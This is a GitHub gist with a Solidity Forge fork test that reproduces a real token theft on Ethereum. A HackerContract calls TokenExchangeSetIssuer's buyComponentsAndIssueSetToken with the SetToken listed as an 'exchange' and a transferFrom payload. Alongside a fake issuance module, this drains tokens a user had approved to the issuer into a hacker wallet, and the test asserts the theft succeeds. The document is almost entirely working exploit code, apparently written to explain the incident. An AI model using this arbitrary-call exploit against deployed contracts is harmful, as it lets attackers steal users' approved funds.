Skip to content

Instantly share code, notes, and snippets.

@voith
Created August 15, 2024 21:30
Show Gist options
  • Save voith/a718aa0d4bf20a33c1e5b2749cafb50e to your computer and use it in GitHub Desktop.
Save voith/a718aa0d4bf20a33c1e5b2749cafb50e to your computer and use it in GitHub Desktop.
Forge test to show how funds were stolen in trx: 0x2498dede022399f734edecd58484c7adad5b2a127f1fa1fda655dade86a1a8f3
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {TokenExchangeSetIssuer} from "contracts/extensions/TokenExchangeSetIssuer.sol";
import {BasicIssuanceModule} from "contracts/modules/BasicIssuanceModule.sol";
import {ISetToken} from "contracts/interfaces/ISetToken.sol";
contract HackerContract {
function hack(
TokenExchangeSetIssuer _tokenExchangeSetIssuer,
IERC20 _weth,
ISetToken _setToken,
address _user,
uint256 amount,
address _hackerWallet
) external {
address[] memory exchanges = new address[](1);
exchanges[0] = address(_setToken);
bytes[] memory payload = new bytes[](1);
payload[0] = abi.encodeWithSelector(
_setToken.transferFrom.selector,
_user,
_hackerWallet,
amount
);
_tokenExchangeSetIssuer.buyComponentsAndIssueSetToken(
_setToken,
0,
BasicIssuanceModule(address(this)),
_weth,
0,
exchanges,
payload
);
}
function issue(
ISetToken _setToken,
uint256 _quantity,
address _to
) external {}
function getRequiredComponentUnitsForIssue(
ISetToken _setToken,
uint256 _quantity
) public view returns (address[] memory, uint256[] memory) {
address usdcAddress = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address[] memory components = new address[](1);
uint256[] memory quantities = new uint256[](1);
components[0] = usdcAddress;
quantities[0] = 0;
return (components, quantities);
}
}
contract ForkTestHack is Test {
TokenExchangeSetIssuer tokenExchangeSetIssuer;
address wETHAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address usdcAddress = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address basicIssuanceModuleAddress = 0x9330d0F979af5c8a5f2380f7bc41234A7d8A15de;
address memeIndexTokenAddress = 0xA544b3F0c46c15F0B2b00ba3D67b56C250287905;
address user = address(0x52);
address hackerWallet = address(0x53);
IERC20 weth = IERC20(wETHAddress);
BasicIssuanceModule issuanceModule = BasicIssuanceModule(basicIssuanceModuleAddress);
ISetToken memeIndexToken = ISetToken(memeIndexTokenAddress);
function setUp() external {
tokenExchangeSetIssuer = new TokenExchangeSetIssuer();
}
function _issueMeme(uint256 memeIndexQuantity) internal {
(address[] memory components, uint256[] memory componentQuantities) = issuanceModule
.getRequiredComponentUnitsForIssue(memeIndexToken, memeIndexQuantity);
for (uint i = 0; i < components.length; i++) {
deal({token: components[i], to: user, give: componentQuantities[i]});
IERC20(components[i]).approve(basicIssuanceModuleAddress, componentQuantities[i]);
}
issuanceModule.issue(memeIndexToken, memeIndexQuantity, user);
}
function testHack() external {
vm.startPrank(user);
uint256 amount = 5 ether;
// User issues 5 meme tokens
_issueMeme(amount);
assertEq(memeIndexToken.balanceOf(user), amount);
// user approve 5 meme token to the TokenExchangeSetIssuer contract
memeIndexToken.approve(address(tokenExchangeSetIssuer), amount);
// hacker deploys their contract
HackerContract _hackerContract = new HackerContract();
// hacker calls hack to steal users approved funds
_hackerContract.hack(
tokenExchangeSetIssuer,
weth,
memeIndexToken,
user,
amount,
hackerWallet
);
// check that the funds have been stolen
assertEq(memeIndexToken.balanceOf(user), 0);
assertEq(memeIndexToken.balanceOf(hackerWallet), amount);
vm.stopPrank();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment